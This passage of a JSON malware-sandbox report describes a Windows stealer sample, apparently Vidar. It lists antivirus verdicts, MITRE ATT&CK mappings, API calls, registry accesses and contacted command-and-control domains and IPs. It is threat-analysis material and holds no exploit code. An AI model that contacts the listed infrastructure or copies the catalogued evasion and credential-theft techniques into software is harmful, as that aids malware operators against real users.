eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.GenusT.GAEM","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Doina.Generic","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"VidarStealer","sources":[{"report_type":"qsp","report_id":""}]}],"threat_actors":[{"value":"VICE SPIDER","sources":[{"report_type":"qsp","report_id":""}]},{"value":"HOOK SPIDER","sources":[{"report_type":"qsp","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Command and Control","technique":"Non-Standard Encoding","attack_id":"T1132.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/002","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Contains ability to use Cryptographic classes"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file is packed with UPX"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Defense Impairment","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"file.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"file.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DNSCACHE\\PARAMETERS\")\n \"file.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \"UPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00003700-00000C2C-1766312927\")\n Found reference to API \"BCryptGenerateSymmetricKey\" (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"00000000-00003700-00000C2C-1766313022\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00003700-00000C2C-1766313048\")\n Found reference to API \"BCryptEncrypt\" (Indicator: \"BCryptEncrypt\"; Source: \"00000000-00003700-00000C2C-1766313079\")\n Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"00000000-00003700-00000C2C-1766313106\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00003700-00000C2C-1766313130\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$25","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.85792","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Able to utilize the Windows bcrypt cryptographic API\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$26","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003700-00000C2C-1766276175\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003700-00000C2C-1766276175\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003700-00000C2C-1766280074\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"file.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00003700)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"file.exe\" called \"Process32FirstW\" with parameters (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW\" with parameters (UID: 00000000-00003700)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"file.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00003700)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"file.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003700)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$27","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"file.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"file.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00003700-00000C17-1766380778","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"file.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Telegram Domain (t .me in TLS SNI)\" (SID: 2041933, Rev: 2, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Observed Telegram Domain in TLS SNI (t .me)\" (SID: 2071570, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$28","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"file.exe\" called \"CreateDirectoryA\" with parameter %ALLUSERSPROFILE%\\c18420e68a14 (UID: 00000000-00003700)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"file.exe\" called \"LoadLibrary\" with a parameter bcrypt.dll (UID: 00000000-00003700)\n \"file.exe\" called \"LoadLibrary\" with a parameter winhttp.dll (UID: 00000000-00003700)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$29","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"t.me\"\n \"v75.666iapk.net\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"149.154.167.99:443\"\n \"104.21.77.111:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: file.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"GetProcAddress\"; File: \"file.exe\")\n Found reference to API (Indicator: \"VirtualProtect\"; File: \"file.exe\")\n Found reference to API (Indicator: \"ExitProcess\"; File: \"file.exe\")\n Found reference to API (Indicator: \"LoadLibraryA\"; File: \"file.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\" in Source: 00000000-00003700.00000000.177612.1C160000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process file.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\asgdsadgas\"\n Process file.exe created mutex with name \"asgdsadgas\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"file.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")\n Found string \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")\n Found string \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 